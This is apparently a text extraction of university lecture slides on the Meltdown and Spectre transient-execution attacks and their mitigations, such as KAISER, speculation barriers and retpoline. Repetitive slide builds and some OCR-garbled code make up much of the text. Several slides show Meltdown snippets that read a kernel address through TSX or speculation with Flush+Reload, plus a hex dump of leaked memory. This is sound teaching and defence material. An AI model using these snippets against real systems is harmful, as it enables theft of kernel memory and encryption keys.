


Software-based Microarchitectural Attacks: Meltdown and Spectre

Daniel Gruss

September 13, 2018

Graz University of Technology


```
printf("%d", i);
printf("%d", i);
```








```
printf("%d", i);
printf("%d", i);
```




















flush access

Shared Memory




VICTIM












VICTIM





























Dependency int width = 10, height = 5; float diagonal = sqrt(width * width int area = width * height; printf("Area %d x %d = %d\n", width, height, area);


```
Parallelize
```

+ height * height);




Instructions are

fetched and decoded in the front-end



Instructions are

- fetched and decoded in the front-end
- dispatched to the backend



Instructions are

- fetched and decoded in the front-end
- dispatched to the backend
- processed by individual execution units







Adapted code

```
*(volatile char*)0;
array[84 * 4096] = 0; // unreachable
```


(

Flush+Reload over all pages of the array





Flush+Reload over all pages of the array



This also works on AMD and ARM!



• Out-of-order instructions leave microarchitectural traces



- Out-of-order instructions leave microarchitectural traces
 - $\bullet\,$ We can see them for example through the cache



- Out-of-order instructions leave microarchitectural traces
 - We can see them for example through the cache
- Give such instructions a name: transient instructions




- Out-of-order instructions leave microarchitectural traces
 - We can see them for example through the cache
- Give such instructions a name: transient instructions
- We can indirectly observe the execution of transient instructions



• Combine the two things

0 0

Flush+Reload again...



... Meltdown actually works.



• Flush+Reload over all pages of the array



• Index of cache hit reveals data



• Flush+Reload over all pages of the array



- Index of cache hit reveals data
- Permission check is in some cases not fast enough



```
e01d8130: 20 75 73 65 64 20 77 69 74 68 20 61 75 74 68 6f | used with autho|
e01d8140: 72 69 7a 61 74 69 6f 6e 20 66 72 6f 6d 0a 20 53 |rization from. S|
e0ld8150: 69 6c 69 63 6f 6e 20 47 72 61 70 68 69 63 73 2c |ilicon Graphics.|
e01d8160: 20 49 6e 63 2e 20 20 48
                                  6f 77 65 76 65 72 2c 20 | Inc. However.
e01d8170: 74 68 65 20 61 75 74 68
                                  6f 72 73 20 6d 61 6b 65 | the authors make
e01d8180: 20 6e 6f 20 63 6c 61 69
                                  6d 20 74 68 61 74 20 4d | no claim that M
e01d8190: 65 73 61 0a 20 69 73 20 69 6e 20 61 6e 79 20 77 |esa. is in any w
e0ld8la0: 61 79 20 61 20 63 6f 6d 70 61 74 69 62 6c 65 20 av a compatible
e01d81b0: 72 65 70 6c 61 63 65 6d 65 6e 74 20 66 6f 72 20 | replacement for
e0ld8lc0: 4f 70 65 6e 47 4c 20 6f 72 20 61 73 73 6f 63 69 |OpenGL or associ
e0ld8ld0: 61 74 65 64 20 77 69 74 68 0a 20 53 69 6c 69 63 |ated with. Silic|
e01d81e0: 6f 6e 20 47 72 61 70 68 69 63 73 2c 20 49 6e 63 | on Graphics, Inc
e0ld8lf0: 2e 0a 20 2e 0a 20 54 68 69 73 20 76 65 72 73 69 |.... This versi
e0ld8200: 6f 6e 20 6f 66 20 4d 65 73 6l 20 70 72 6f 76 69 |on of Mesa provi
e01d8210: 64 65 73 20 47 4c 58 20
                                  61 6e 64 20 44 52 49 20 | des GLX and DRI
e0ld8220: 63 61 70 61 62 69 6c 69 74 69 65 73 3a 20 69 74 |capabilities: it|
e01d8230: 20 69 73 20 63 61 70 61
                                  62 6c 65 20 6f 66 0a 20 | is capable of.
e01d8240: 62 6f 74 68 20 64 69 72 65 63 74 20 61 6e 64 20 | both direct and
e01d8250: 69 6e 64 69 72 65 63 74 20 72 65 6e 64 65 72 69 |indirect renderi|
e01d8260: 6e 67 2e 20 20 46 6f 72 20 64 69 72 65 63 74 20 |ng. For direct
e01d8270: 72 65 6e 64 65 72 69 6e 67 2c 20 69 74 20 63 61 | rendering, it ca|
e01d8280: 6e 20 75 73 65 20 44 52 49 0a 20 6d 6f 64 75 6c |n use DRI. modul
e0ld8290: 65 73 20 66 72 6f 6d 20 74 68 65 20 6c 69 62 67 |es from the libg|
```



		×				
File	Edit	View	Search	Terminal	Help	
msch	warz(alab06	:~/Docu	uments\$	•	
riscii	W01 20	graboo	/0000	ariencs 2		
_						

• Basic Meltdown code leads to a crash (segfault)

- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?

- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?



Fault Handling



Fault Suppression




Fault Prevention

Intel TSX to suppress exceptions instead of signal handler


```
if(xbegin() == XBEGIN_STARTED) {
  char secret = *(char*) 0xfffffffff81a000e0;
  arrav[secret * 4096] = 0;
  xend();
for (size_t i = 0; i < 256; i++) {</pre>
  if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
    printf("%c\n", i):
```

Speculative execution to prevent exceptions

```
int speculate = rand() % 2;
((size_t)&zero * (1 - speculate));
if(!speculate) {
 char secret = *(char*) address;
 array[secret * 4096] = 0;
}
for (size_t i = 0: i < 256: i++) {
 if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
   printf("%c\n", i);
```




• Improve the performance with a NULL pointer dereference



• Improve the performance with a NULL pointer dereference

```
if(xbegin() == XBEGIN_STARTED) {
  *(volatile char*) 0;
  char secret = *(char*) 0xfffffffff81a000e0;
  array[secret * 4096] = 0;
  xend();
}
```







 Assumed that one can only read data stored in the L1 with Meltdown



- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value



- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
 - Target data is not in the L1 cache of the attacking core



- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
 - Target data is not in the L1 cache of the attacking core
- We can still leak the data at a lower reading rate



- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
 - Target data is not in the L1 cache of the attacking core
- We can still leak the data at a lower reading rate
- Meltdown might implicitly cache the data





• Dumping the entire physical memory takes some time



- Dumping the entire physical memory takes some time
 - Not very practical in most scenarios



- Dumping the entire physical memory takes some time
 - Not very practical in most scenarios
- Can we mount more targeted attacks?



• Open-source utility for disk encryption




- Open-source utility for disk encryption
- Fork of TrueCrypt



- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM




- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
 - With Meltdown, we can extract the keys from DRAM




Kernel addresses in user space are a problem

- Kernel addresses in user space are a problem
- Why don't we take the kernel addresses...



Daniel Gruss — Graz University of Technology



• ...and remove them if not needed?



- ...and remove them if not needed?
- User accessible check in hardware is not reliable





Kernel Address Isolation to have Side channels Efficiently Removed


KAISER /'knizə/

- 1. [german] Emperor, ruler of an empire
- 2. largest penguin, emperor penguin




Kernel Address Isolation to have Side channels Efficiently Removed


Without KAISER:



Without KAISER:



With KAISER:









- Our patch
- Adopted in Linux

KAISER (Stronger Kernel Isolation) Patches





- Our patch
- Adopted in Linux




Adopted in Windows

KAISER (Stronger Kernel Isolation) Patches





- Our patch
- Adopted in Linux








Adopted in OSX/iOS










• Our patch


 Adopted in Linux Adopted in Windows

 Adopted in OSX/iOS

 \rightarrow now in every computer



¹Jo Van Bulck et al. Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient Out-of-Order Execution. In: USENIX Security Symposium. 2018.







 hyperthreading: only schedule mutually trusting threads on same physical core



- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest



- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:




- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:

• disable EPTs





SPECTRE







MELTDOWN

SPECTRE


```
index = 1;
        char* data = "textKEY";
             if (index < 4)
Speculate
                    Prediction
LUT[data[index] * 4096]
```





$$index = 0;$$


```
index = 0;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```



```
index = 0;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```

$$index = 1;$$


```
index = 1;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```



```
index = 1;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```

$$index = 2;$$


```
index = 2;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```



```
index = 2;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```

$$index = 3;$$


```
index = 3;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```



```
index = 3;
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```


$$index = 4;$$


```
index = 4:
 index = index & 0x3; // sanitization
       char* data = "textKEY";
LUT[data[index] * 4096]
                         LUT[data[index] * 4096]
```




```
index = 4:
  index = index & 0x3; // sanitization
        char* data = "textKEY";
 Execute
                    Prediction
LUT[data[index] * 4096]
                            LUT[data[index] * 4096]
```

$$index = 5;$$





$$index = 6;$$




```
index = 6;
  index = index & 0x3; // sanitization
        char* data = "textKEY";
 Execute
                    Prediction
LUT[data[index] * 4096]
                            LUT[data[index] * 4096]
```


"Speculative Buffer Overflows"


- Speculatively write to memory locations
- ightarrow Many more gadgets than previously anticipated
 - Very interesting for sandboxes
 - Causes some protection mechanisms to fail


"Speculative Buffer Overflows"


- Speculatively write to memory locations which are not writable
- Actually a variant of Meltdown
 - A permission bit is ignored during out-of-order execution
 - But no scenario where it makes sense without speculative execution?
































- "SpectreRSB"
- Similar to Spectre variant 2:
 - Redirect an indirect branch (a return in this case)
 - Fill buffer with "wrong" values



• Trivial approach: disable speculative execution



- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation



- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!



- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Also: How to disable it?



- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Also: How to disable it?
- Speculative execution is deeply integrated into CPU





• Workaround: insert instructions stopping speculation




- Workaround: insert instructions stopping speculation
- ightarrow insert after every bounds check




- Workaround: insert instructions stopping speculation
- $\rightarrow\,$ insert after every bounds check
 - x86: LFENCE, ARM: CSDB




- Workaround: insert instructions stopping speculation
- $\rightarrow\,$ insert after every bounds check
 - x86: LFENCE, ARM: CSDB
 - Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8







• Speculation barrier requires compiler supported



- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC



- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- ullet Can be automated (MSVC) o not really reliable



- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- \bullet Can be automated (MSVC) \to not really reliable
- Explicit use by programmer: __builtin_load_no_speculate

0-1-0-1-0 1-0-1-0-1 0-1-0-1-0 1-0-1-0-1 Intel released microcode updates

• Indirect Branch Restricted Speculation (IBRS):

01-01-0 1-01-0-1 01-0-1-0 1-0-1-0-1

- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode

01-01-0 1-01-01 01-01-0 1-01-01

- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode
 - ightarrow lesser privileged code cannot influence predictions

01-01-0 1-01-0-1 01-0-1-0 1-0-1-0-1

- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode
 - ightarrow lesser privileged code cannot influence predictions
- Indirect Branch Predictor Barrier (IBPB):

01-01-0 1-0-1-0 1-0-1-0 1-0-1-0-1

- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode
 - ightarrow lesser privileged code cannot influence predictions
- Indirect Branch Predictor Barrier (IBPB):
 - Flush branch-target buffer


01-01-0 1-01-01 01-01-01


- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode
 - ightarrow lesser privileged code cannot influence predictions
- Indirect Branch Predictor Barrier (IBPB):
 - Flush branch-target buffer
- Single Thread Indirect Branch Predictors (STIBP):

01-01-0 1-0-1-0 1-0-1-0 1-0-1-0-1 Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
 - Do not speculate based on anything before entering IBRS mode
 - ightarrow lesser privileged code cannot influence predictions
- Indirect Branch Predictor Barrier (IBPB):
 - Flush branch-target buffer
- Single Thread Indirect Branch Predictors (STIBP):
 - Isolates branch prediction state between two hyperthreads


Retpoline (compiler extension)






```
Retpoline (compiler extension)
```

 $\,\rightarrow\,$ always predict to enter an endless loop




Retpoline (compiler extension)

- ightarrow always predict to enter an endless loop
 - instead of the correct (or wrong) target function




```
Retpoline (compiler extension)
```

- \rightarrow always predict to enter an endless loop
 - ullet instead of the correct (or wrong) target function o performance?



Retpoline (compiler extension)

- \rightarrow always predict to enter an endless loop
- ullet instead of the correct (or wrong) target function ullet performance?
- ret may fall-back to the BTB for prediction



```
Retpoline (compiler extension)
```

- ightarrow always predict to enter an endless loop
- ullet instead of the correct (or wrong) target function ullet performance?
- ret may fall-back to the BTB for prediction
- \rightarrow microcode patches to prevent that



Intel released microcode updates



Intel released microcode updates

- Disable store-to-load-forward speculation
- Performance impact of 2–8%



- Already implicitly patched on some architectures
- RSB stuffing (part of retpoline)



• Prevent access to high-resolution timer



- Prevent access to high-resolution timer
- $\rightarrow\,$ Own timer using timing thread



- Prevent access to high-resolution timer
- $\rightarrow\,$ Own timer using timing thread
- Flush instruction only privileged



- Prevent access to high-resolution timer
- $\rightarrow\,$ Own timer using timing thread
- Flush instruction only privileged
- \rightarrow Cache eviction through memory accesses



- Prevent access to high-resolution timer
- $\rightarrow\,$ Own timer using timing thread
- Flush instruction only privileged
- ightarrow Cache eviction through memory accesses
 - Just move secrets into secure world



- Prevent access to high-resolution timer
- $\rightarrow\,$ Own timer using timing thread
- Flush instruction only privileged
- ightarrow Cache eviction through memory accesses
 - Just move secrets into secure world
- → Spectre works on secure enclaves

Meltdown, LazyFP (v3.1),
 Foreshadow, Foreshadow-NG, ...

Spectre attacks

• v1, v1.1, v2, v4, SpectreRSB (v5)

- Meltdown, LazyFP (v3.1),
 Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution

- Meltdown, LazyFP (v3.1),
 Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction

- Meltdown, LazyFP (v3.1),
 Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required
- → melt down isolation by ignoring access permissions (e.g., page table bits)

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions

- Meltdown, LazyFP (v3.1),
 Foreshadow, Foreshadow-NG, ...
- Out-of-Order Execution
- no prediction required
- → melt down isolation by ignoring access permissions (e.g., page table bits)
- practical mitigation in software (e.g., KAISER)

- v1, v1.1, v2, v4, SpectreRSB (v5)
- Speculative Execution ⊂ Out-of-Order Execution
- fundamentally rely on prediction
- difficult to mitigate because it does not violate access permissions





attacks on crypto



ullet attacks on crypto ightarrow "software should be fixed"



- \bullet attacks on crypto \rightarrow "software should be fixed"
- attacks on ASLR



- ullet attacks on crypto ightarrow "software should be fixed"
- ullet attacks on ASLR ightarrow "ASLR is broken anyway"



- ullet attacks on crypto ightarrow "software should be fixed"
- \bullet attacks on ASLR \rightarrow "ASLR is broken anyway"
- attacks on SGX and TrustZone



- ullet attacks on crypto ightarrow "software should be fixed"
- ullet attacks on ASLR ightarrow "ASLR is broken anyway"
- \bullet attacks on SGX and TrustZone \rightarrow "not part of the threat model"



- ullet attacks on crypto ightarrow "software should be fixed"
- ullet attacks on ASLR ightarrow "ASLR is broken anyway"
- \bullet attacks on SGX and TrustZone \rightarrow "not part of the threat model"
- Rowhammer attacks



- ullet attacks on crypto ightarrow "software should be fixed"
- ullet attacks on ASLR ightarrow "ASLR is broken anyway"
- \bullet attacks on SGX and TrustZone \rightarrow "not part of the threat model"
- ullet Rowhammer attacks o "only affects cheap sub-standard modules"



- attacks on crypto → "software should be fixed"
- ullet attacks on ASLR ightarrow "ASLR is broken anyway"
- \bullet attacks on SGX and TrustZone \rightarrow "not part of the threat model"
- ullet Rowhammer attacks o "only affects cheap sub-standard modules"
- ightarrow for years we solely optimized for performance



After learning about a side channel you realize:




After learning about a side channel you realize:

• the side channels were documented in the Intel manual



After learning about a side channel you realize:

- the side channels were documented in the Intel manual
- only now we understand the implications



Motor Vehicle Deaths in U.S. by Year





• moral obligation to invest more time on defenses than on attacks



- moral obligation to invest more time on defenses than on attacks
- dangerous: we overlooked Meltdown and Spectre for decades



- moral obligation to invest more time on defenses than on attacks
- dangerous: we overlooked Meltdown and Spectre for decades
- we don't know all problems. do we know at least the most important subset?



- moral obligation to invest more time on defenses than on attacks
- dangerous: we overlooked Meltdown and Spectre for decades
- we don't know all problems. do we know at least the most important subset?
- are we hammering on a small subset of problems and forgot about the bigger picture?



Daniel Gruss — Graz University of Technology



• new class of attacks



- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks



- new class of attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- dedicate more time into identifying problems and not solely in mitigating known problems



Software-based Microarchitectural Attacks: Meltdown and Spectre

Daniel Gruss

September 13, 2018

Graz University of Technology